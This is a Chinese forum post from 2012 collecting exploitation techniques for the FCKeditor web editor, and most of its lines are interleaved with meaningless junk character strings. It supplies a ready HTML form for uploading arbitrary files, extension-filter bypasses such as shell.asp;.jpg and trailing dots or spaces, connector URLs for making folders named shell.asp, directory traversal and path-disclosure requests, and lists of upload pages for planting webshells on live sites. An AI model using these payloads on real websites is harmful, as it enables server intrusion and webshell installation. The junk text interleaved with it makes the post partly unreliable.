Fckeditor漏洞利用总结
7 \2 P6 U8 G8 s查看编辑器版本* c# v" [5 \+ F3 Y ^) N9 G' w. @
FCKeditor/_whatsnew.html
( [3 n% I+ U% s& _3 P$ [—————————————————————————————————————————————————————————————
* D1 R+ j- _0 Q+ Y9 b( I! O2 z2 U- r e5 k V
2. Version 2.2 版本8 f+ u" {3 K" h$ X: B* M* J
Apache+linux 环境下在上传文件后面加个.突破！测试通过。 S p; D9 l5 F' p3 d3 \
—————————————————————————————————————————————————————————————
. w( J W; L+ N. ?/ G6 M) M5 M( y5 x. o: p
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
9 Q5 r! X) a2 N6 T, E, p9 A<form id="frmUpload" enctype="multipart/form-data"/ ^$ _2 v4 V1 w, M6 t" J
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
0 [$ e' F; \. ?$ `( I# q<input type="file" name="NewFile" size="50"><br>
+ w" f! C2 f+ ~% u K<input id="btnUpload" type="submit" value="Upload">5 _6 l* ]9 o" u$ X
</form>
T7 ?! ~+ ~# s—————————————————————————————————————————————————————————————
% e( b" L; x9 U4 B" r" e) ~4 [( K6 Z2 o/ n
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法1 e6 U) M1 o( o& p6 u1 r) E
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。# B, n z# e/ _& g6 b. j
4.1：提交shell.php+空格绕过# K7 g* ?( c# O+ |; u1 T; \3 q, O
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。0 f: l1 X. ~; t- A4 J# ~
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。8 _+ J0 f- E6 g. Y/ Q9 N7 y
—————————————————————————————————————————————————————————————
7 U+ e" Q$ B# g3 w3 z
( K( E, ]' w3 w5 C/ F1 x9 f% u5. 突破建立文件夹1 }$ V: h8 U" E' g) T- m( j" E
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684( z3 j; e9 f; S4 ?
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp/ c& x( u6 {# k- d M# r% H. R
—————————————————————————————————————————————————————————————
5 z; Y; n) h2 x7 T/ i3 d5 s9 q- u4 L' s" w! n% g: K
6. FCKeditor 中test 文件的上传地址4 |! z5 a+ w1 L1 X6 v
FCKeditor/editor/filemanager/browser/default/connectors/test.html7 t$ D2 d9 Z3 s( c/ p% G
FCKeditor/editor/filemanager/upload/test.html
( A9 P* y! s4 `3 b% F# cFCKeditor/editor/filemanager/connectors/test.html z7 E+ {7 z+ I7 P% f
FCKeditor/editor/filemanager/connectors/uploadtest.html/ h/ b1 `7 [! P' e" o; q
—————————————————————————————————————————————————————————————* n8 q4 Z8 G' l
# y4 h, i y6 d/ R! q
7.常用上传地址5 I, C t) }- E
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/' G* o( j. P; X7 ?+ C% P3 ?1 h) H: n$ w
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp0 K4 X) W, o0 d
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)5 B( U" ]: {2 P b* [
JSP 版：
" p5 ^1 d4 v3 yFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
# y6 E2 r h6 v9 v5 Y- c注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
. K2 D+ t9 i0 d7 ]6 I4 c件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。$ ~8 D; G( w" \" |
—————————————————————————————————————————————————————————————4 W Q4 o7 B6 m
, m) b M, l7 d5 q, p
8.其他上传地址% j% i2 K5 k, H4 y& I5 X( q! p
FCKeditor/_samples/default.html8 m3 ~% b' k* o9 S
FCKeditor/_samples/asp/sample01.asp
7 e+ f1 H- o& C' `2 l9 bFCKeditor/_samples/asp/sample02.asp2 W0 g9 F3 {0 R* r+ S2 s
FCKeditor/_samples/asp/sample03.asp: ^) Y2 L) o" q0 {& y
FCKeditor/_samples/asp/sample04.asp
6 P X& c4 C% G! w, p一般很多站点都已删除_samples 目录，可以试试。
4 c$ I9 Z9 E& e: t8 x' mFCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。0 G' J/ {, t1 \
—————————————————————————————————————————————————————————————
3 p" G* K3 ^" s. {6 o
- Y( V/ \0 Q, w$ L$ G# b0 |9.列目录漏洞也可助找上传地址
( S* p. a" l3 ?! b1 I+ vVersion 2.4.1 测试通过
) F- |4 S6 I- z9 b; x1 z修改CurrentFolder 参数使用 ../../来进入不同的目录
/ n: q$ {# M% d1 n0 j# \ @- d/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp" M2 J" x4 |9 \
根据返回的XML 信息可以查看网站所有的目录。4 J# u! ^0 `' h# L
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F7 w g0 D: c+ y
也可以直接浏览盘符：
, E8 V- Z) E1 p1 |+ @4 KJSP 版本：3 K4 @4 H ]9 v' R
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
; N" c, q" R) u0 ~; Q" u4 z—————————————————————————————————————————————————————————————
. u2 }- U/ E/ w( v( t/ O9 d3 g9 c/ p
10.爆路径漏洞
% P3 Y1 H8 t5 [* zFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
* s6 q. d" |" t—————————————————————————————————————————————————————————————# g) O2 c; n4 x0 `
% g* h6 @7 \" c3 a
11. FCKeditor 被动限制策略所导致的过滤不严问题# C4 a" b7 ~" z* e+ h4 G) q% G
影响版本: FCKeditor x.x <= FCKeditor v2.4.32 y% K5 L" m8 _6 l1 R
脆弱描述：; _% K A- D8 v
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
0 c, N& C+ D8 S( a' r, Q7 ^' thtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm- `- N3 I$ o3 ^3 b3 w% i u/ q9 ^. ]
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!# H/ T7 z9 H0 [- Y7 ^. Y
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。+ Q7 Q. q' X, |
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!) m3 c$ _4 X( ` S0 ]
—————————————————————————————————————————————————————————————6 y# e, f$ W# r
# n! K- d& w# J
12.最古老的漏洞，Type文件没有限制！9 V% M% q* I6 y( y0 A F) Z
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！
+ s6 @+ J/ Q7 g: m$ p# o—————————————————————————————————————————————————————————————; k$ H7 K2 d3 W
( A! b5 ?- l: V$ T0 O
===============================================================================================================================================
j) j3 `, H3 O* u9 |' k: b/ v
5 D: |" C* Y# u/ b. K8 w PFCK编辑器jsp版本漏洞：+ V# G9 C$ s$ t9 q$ r4 {
2 F" H P* d3 _( Q" l% u: w
% ~$ O5 L e8 A' `% I5 T
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F+ }) ^4 D# F0 Y" c5 d- B
5 h# b& A/ b& d
上传马所在目录, T: Z+ S/ `8 W9 c1 t2 P3 t# @7 A' ~
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
8 t1 ^; C1 c5 h& v/ L+ c上传shell的地址:
# z5 G5 C0 n1 j( l7 }! Nhttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector5 f' F) y- E: u' ^
跟版本有关系.并不是百分百成功. 测试成功几个站.7 Q* y+ ^3 K) U- U( o- P% N; F3 X7 Y
不能通杀.很遗憾.
; F6 [9 s ~8 f6 {1 chttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
9 ]5 L! ?1 w+ ^) [如果以上地址不行可以试试
5 p& P' \' g7 D: M- P9 [$ f$ @6 AFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector4 u% p) B+ j" Z9 B% D& \8 @
FCKeditor/_samples/
4 `, t/ K6 d+ O5 GFCKeditor/_samples/default.html
2 F' c/ P# e7 C% y7 @) t4 ?$ U$ AFCKeditor/editor/fckeditor.htm& D9 s( _7 w6 n- [ ^: t3 b8 t
FCKeditor/editor/fckdialog.html
6 t3 f8 E/ C5 T& @. `" s2 L% h" M& @
4 p) E& [0 D' I. }6 E( [; m3 h
! F O3 j* k4 l0 x解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
& d6 B+ D" P$ `+ J- f5 ^5 y) { |
发表于 2012-9-13 17:01:39
收藏
支持
反对